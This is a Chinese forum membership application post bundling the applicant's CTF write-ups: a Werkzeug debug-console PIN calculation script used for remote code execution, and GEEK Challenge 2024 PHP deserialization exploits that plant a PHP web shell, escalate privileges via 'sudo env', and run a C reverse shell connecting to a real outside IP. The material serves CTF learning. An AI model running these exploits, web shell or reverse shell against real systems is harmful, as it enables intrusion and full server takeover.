吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 69|回复: 2
上一主题 下一主题
收起左侧

[会员申请] 申请会员ID:hatchet【申请通过,未报到】

[复制链接]
跳转到指定楼层
楼主
吾爱游客  发表于 2024-11-21 23:10 回帖奖励 |自己
1、申 请 I D:hatchet
2、个人邮箱:1250617570@qq.com

3、原创技术文章:
我的博客:https://blog.hatchet.top


https://blog.hatchet.top/posts/fc0a87bd

Python中werkzeug有关PIN值的构造
参考自https://blog.hz2016.com/2023/07/flask%E8%B0%83%E8%AF%95%E6%A8%A1%E5%BC%8Fpin%E5%80%BC%E8%AE%A1%E7%AE%97%E5%92%8C%E5%88%A9%E7%94%A8/需要知道的文件名一览用户名
通过/etc/passwd猜测,一般是root。如果有用户目录设在/app大概率是那个用户名源码地址
通过报错得到网络地址/sys/class/net/eth0/address/sys/class/net/ens33/address
需要转十进制(后面有脚本)机器ID1. /etc/machine-id(一般仅非docker机有,截取全文)2. /proc/sys/kernel/random/boot_id(一般仅非docker机有,截取全文)3. /proc/self/cgroup(一般仅docker有,仅截取最后一个斜杠后面的内容)优先选择1,没有1选2,只能选1,2中的一个。3有没有不影响,有就要连接在1或2的后面。(1 or 2) (+3)脚本算地址(可以内置进下面的版本计算)

address = "02:0a:27:03:12:57"
print(int(address.replace(":", ""), 16))
低版本(werkzeug<2.0.x md5)

# MD5
import hashlib
from itertools import chain

probably_public_bits = [
    "flaskweb"  # username
    "flask.app",  # modname
    "Flask",  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
    "/usr/local/lib/python3.7/site-packages/flask/app.py",  # getattr(mod, '__file__', None),
]

private_bits = [
    "25214234362297",  # str(uuid.getnode()),  /sys/class/net/ens33/address
    "0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa",  # get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = "__wzd" + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b"pinsalt")
    num = ("%09d" % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
        else:
            rv = num

print(rv)

高版本(werkzeug>=2.0.x sha1)

# machine-id:
# machine-id是通过**三个文件**里面的内容经过处理后拼接起来

# 1. /etc/machine-id(一般仅非docker机有,截取全文)
# 2. /proc/sys/kernel/random/boot_id(一般仅非docker机有,截取全文)
# 3. /proc/self/cgroup(一般仅docker有,**仅截取最后一个斜杠后面的内容**)
# # 例如:11:perf_event:/docker/docker-2f27f61d1db036c6ac46a9c6a8f10348ad2c43abfa97ffd979fbb1629adfa4c8.scope
# # 则只截取docker-2f27f61d1db036c6ac46a9c6a8f10348ad2c43abfa97ffd979fbb1629adfa4c8.scope拼接到后面
# 文件12按顺序读,**12只要读到一个**就可以了,1读到了,就不用读2了。
# 文件3如果存在的话就截取,不存在的话就不用管
# 最后machine-id=(文件1或文件2)+文件3(存在的话)
import hashlib
from itertools import chain

probably_public_bits = [
    "root"  # /etc/passwd
    "flask.app",  # 默认值
    "Flask",  # 默认值
    "/usr/local/lib/python3.10/site-packages/flask/app.py",  # moddir,报错得到
]

private_bits = [
    "2242627441239",  # /sys/class/net/eth0/address 十进制
    # 1. /etc/machine-id 2. /proc/sys/kernel/random/boot_id 3. /proc/self/cgroup (1 or 2)(+3)
    "d45a88e1-3fe4-4156-9e59-3864587b7c87",  #
]

# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = "__wzd" + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b"pinsalt")
    num = ("%09d" % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num

print(rv)

注意的点(重点)
开启调试在/console输入参数
发现/console藏有源码如

<script>
  var CONSOLE_MODE = true,
      EVALEX = true,
      EVALEX_TRUSTED = false,
      SECRET = "HwSWplRMh0QHXH37xhln";
</script>

计算好PIN值后传参/console?__debugger__=yes&cmd=pinauth&pin=683-407-538&s=HwSWplRMh0QHXH37xhln
s的值取自源码
当出现 {“auth”: true, “exhausted”: false}时说明验证成功
获取输入PIN值后的cookie并拿到flag/console?__debugger__=yes&cmd=open('/flag').read()&frm=0&s=HwSWplRMh0QHXH37xhlnCookie: __wzd489be12137736dc7b5b4=1729773727|f867e64c2141RCE:import os;os.popen('cat /flag').read()开启调试模式,但访问路由报400
对debug console的请求需要来自信任的host
添加Header Host:127.0.0.1,写到原Host前后
https://blog.hatchet.top/posts/c264f0a9
GEEK Challenge2024 Web+Misc+Crypto个人题解WP(节取部分)
ezpop
题目源码:

<?php
Class SYC{
    public $starven;
    public function __call($name, $arguments){
        if(preg_match('/%|iconv|UCS|UTF|rot|quoted|base|zlib|zip|read/i',$this->starven)){
            die('no hack');
        }
        file_put_contents($this->starven,"<?php exit();".$this->starven);
    }
}

Class lover{
    public $J1rry;
    public $meimeng;
    public function __destruct(){
        if(isset($this->J1rry)&&file_get_contents($this->J1rry)=='Welcome GeekChallenge 2024'){
            echo "success";
            $this->meimeng->source;
        }
    }

    public function __invoke()
    {
        echo $this->meimeng;
    }

}

Class Geek{
    public $GSBP;
    public function __get($name){
        $Challenge = $this->GSBP;
        return $Challenge();
    }

    public function __toString(){
        $this->GSBP->Getflag();
        return "Just do it";
    }

}

if($_GET['data']){
    if(preg_match("/meimeng/i",$_GET['data'])){
        die("no hack");
    }
   unserialize($_GET['data']);
}else{
   highlight_file(__FILE__);
}


题目确实出到不会的考点了,反复调用的问题开始无法解决,导致一直空着,解题思路是在做第二个pop链的GC回收时看到的绕过反复调用
https://blog.csdn.net/Jayjay___/article/details/130647484?spm=1001.2014.3001.5502

绕过方法为多实例化一个对象
一般的pop链连接不讲了,最后需要绕过死亡exit命令。
屏蔽了二次编码和一些直接写马的可能,好在我们不用RCE,可以不用尖括号
写个.htaccess文件,利用 php_value auto_prepend_file "/flag" 直接回显出flag
exp如下:

<?php
Class SYC{
    public $starven;
    public function __call($name, $arguments){
        if(preg_match('/%|iconv|UCS|UTF|rot|quoted|base|zlib|zip|read/i',$this->starven)){
            die('no hack');
        }
        file_put_contents($this->starven,"<?php exit();".$this->starven);
    }
}

Class lover{
    public $J1rry;
    public $meimeng;
    public function __destruct(){
        if(isset($this->J1rry)&&file_get_contents($this->J1rry)=='Welcome GeekChallenge 2024'){
            echo "success";
            $this->meimeng->source;
        }
    }

    public function __invoke()
    {
        echo $this->meimeng;
    }

}

Class Geek{
    public $GSBP;
    public function __get($name){
        $Challenge = $this->GSBP;
        return $Challenge();
    }

    public function __toString(){
        $this->GSBP->Getflag();
        return "Just do it";
    }

}
$S=new SYC();
$l1=new lover();
$l2=new lover();
$G1=new Geek();
$G2 = new Geek();
$l1->J1rry="data://text/plain,Welcome GeekChallenge 2024";
$l1->meimeng = $G1;
$G1->GSBP = $l2;
$l2->meimeng = $G2;
$G2->GSBP = $S;
#'/%|iconv|UCS|UTF|rot|quoted|base|zlib|zip|read/i'
# string.toupper
# string.tolower
# string.strip_tags
$S->starven='php://filter/string.strip_tags/?>php_value auto_prepend_file "/flag"<?/resource=.htaccess';
$exp=serialize($l1);
$exp=str_replace('s:7:"meimeng"', 'S:7:"m\65imeng"', $exp);
echo urlencode($exp);
not_just_pop
题目源码:

<?php
highlight_file(__FILE__);
ini_get('open_basedir');

class lhRaMK7{
    public $Do;
    public $You;
    public $love;
    public $web;
    public function __invoke()
    {
        echo "我勒个豆,看来你有点实力,那接下来该怎么拿到flag呢?"."<br>";
        eval($this->web);
    }
    public function __wakeup()
    {
        $this->web=$this->love;
    }
    public function __destruct()
    {
        die($this->You->execurise=$this->Do);
    }

}

class Parar{
    private $execurise;
    public $lead;
    public $hansome;
    public function __set($name,$value)
    {
        echo $this->lead;
    }
    public function __get($args)
    {
        if(is_readable("/flag")){
            echo file_get_contents("/flag");
        }
        else{
            echo "还想直接读flag,洗洗睡吧,rce去"."<br>";
            if ($this->execurise=="man!") {
                echo "居然没坠机"."<br>";
                if(isset($this->hansome->lover)){
                    phpinfo();
                }
            }
            else{
                echo($this->execurise);
                echo "你也想被肘吗"."<br>";
            }
        }
    }
}

class Starven{
    public $girl;
    public $friend;
    public function __toString()
    {
        return "试试所想的呗,说不定成功了"."<br>".$this->girl->abc;
    }
    public function __call($args1,$args2)
    {
        $func=$this->friend;
        $func();
    }

}
class SYC{
    private $lover;
    public  $forever;
    public function __isset($args){
        return $this->forever->nononon();
    }

}

$Syclover=$_GET['Syclover'];
if (isset($Syclover)) {
    unserialize(base64_decode($Syclover));
    throw new Exception("None");
}else{
    echo("怎么不给我呢,是不喜欢吗?");
}

throw new Exception是明显的GC回收标志。除了这个就是锻炼serialize基本功的时间了
https://blog.csdn.net/Jayjay___/article/details/130647484

GC回收的利用方法:
假设先前你要序列化a对象,改为serialize($a, null),并把最后的i:1对象破坏,变成i:0, 这样就可以绕过throw new Exception。
因为PHP7.3后对private和protect不敏感,所以直接用public就可以
exp:

<?php
ini_get('open_basedir');

class lhRaMK7{
    public $Do;
    public $You;
    public $love='file_put_contents("shell.php","<?=eval(\$_POST[\'cmd\']);?>");';
    public $web='file_put_contents("shell.php","<?=eval(\$_POST[\'cmd\']);?>");';
    public function __invoke()
    {
        echo "我勒个豆,看来你有点实力,那接下来该怎么拿到flag呢?"."<br>";
        eval($this->web);
    }
    public function __wakeup()
    {
        $this->web=$this->love;
    }
    public function __destruct()
    {
        die($this->You->execurise=$this->Do); #=>Parar::__set
    }

}

class Parar{
    public $execurise;
    public $lead;
    public $hansome;
    public function __construct() {
        $this->execurise="man!";
    }
    public function __set($name,$value)
    {
        echo $this->lead; #=>Starven::__toString
    }
    public function __get($args)
    {
        if(is_readable("/flag")){
            echo file_get_contents("/flag");
        }
        else{
            echo "还想直接读flag,洗洗睡吧,rce去"."<br>";
            if ($this->execurise=="man!") {
                echo "居然没坠机"."<br>";
                if(isset($this->hansome->lover)){ #=>SYC::__isset
                    phpinfo();
                }
            }
            else{
                echo($this->execurise);
                echo "你也想被肘吗"."<br>";
            }
        }
    }
}

class Starven{
    public $girl;
    public $friend;
    public function __toString()
    {
        return "试试所想的呗,说不定成功了"."<br>".$this->girl->abc; #=>Parar:: __get
    }
    public function __call($args1,$args2)
    {
        $func=$this->friend;
        $func();# =>lhRaMk7::__invoke
    }

}
class SYC{
    public $lover;
    public  $forever;
    public function __isset($args){
        return $this->forever->nononon();# =>Starven::__call
    }

}
$n = null;
$l1 = new lhRaMK7();
$l2 = new lhRaMK7();
$P1 = new Parar();
$P2 = new Parar();
$S1 = new Starven();
$S2 = new Starven();
$SYC = new SYC();
$l1->You = $P1; #=>Parar::__set
$P1->lead = $S1; #=>Starven::__toString
$S1->girl = $P2; #=>Parar:: __get
$P2->hansome = $SYC; #=>SYC::__isset
$SYC->forever = $S2; #=>Starven::__call
$S2->friend = $l2; #=>lhRaMk7::__invoke
$Syclover=serialize(array($l1,$n));
$Syclover = str_replace("i:1;N;}", "i:0;N;}", $Syclover);
// $Syclover=str_replace("O:7", "O:8", $Syclover);
// $Syclover=str_replace('s:17:', 's:16:', $Syclover);
// $Syclover = rtrim($Syclover, '}');
echo $Syclover."\n";
echo base64_encode($Syclover);
// $Syclover=$_GET['Syclover'];
// if (isset($Syclover)) {
//     unserialize(base64_decode($Syclover));
//     throw new Exception("None");
// }else{
//     echo("怎么不给我呢,是不喜欢吗?");
// }


蚁剑连上shell发现ret 127,说明存在disable_functions
在蚁剑市场下载php_disable_functions绕过插件
利用其中的PHP7_UserFilter绕过

发现/flag需要root权限,尝试SUID提权find / -user root -perm -4000 -print 2>/dev/null

没找到有用的sudo -l

env 可以直接获取root权限 https://gtfobins.github.io/#envsudo env /bin/sh
蚁剑的shell不大行,切到自己的vps上提权
先写个反弹shell https://www.revshells.com/
exp.c

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(void){
    int port = 1234;
    struct sockaddr_in revsockaddr;

    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;      
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("8.155.17.250");

    connect(sockt, (struct sockaddr *) &revsockaddr,
    sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);

    char * const argv[] = {"bash", NULL};
    execvp("bash", argv);

    return 0;      
}


gcc exp.c -o exp
./exp

拿到flag

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

沙发
Hmily 发表于 2024-11-22 14:14
I D:hatchet
邮箱:1250617570@qq.com

申请通过,欢迎光临吾爱破解论坛,期待吾爱破解有你更加精彩,ID和密码自己通过邮件密码找回功能修改,请即时登陆并修改密码!
登陆后请在一周内在此帖报道,否则将删除ID信息。
3#
hatchet 发表于 2024-11-22 17:22

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-24 00:09

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表